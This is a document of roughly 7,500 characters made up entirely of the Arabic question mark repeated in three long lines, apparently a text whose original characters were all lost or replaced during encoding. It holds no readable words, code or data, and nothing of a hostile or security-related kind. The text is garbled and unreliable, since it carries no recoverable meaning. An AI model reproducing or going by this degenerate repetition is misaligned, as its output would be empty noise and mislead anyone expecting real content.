؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟
    ؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟
    ؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟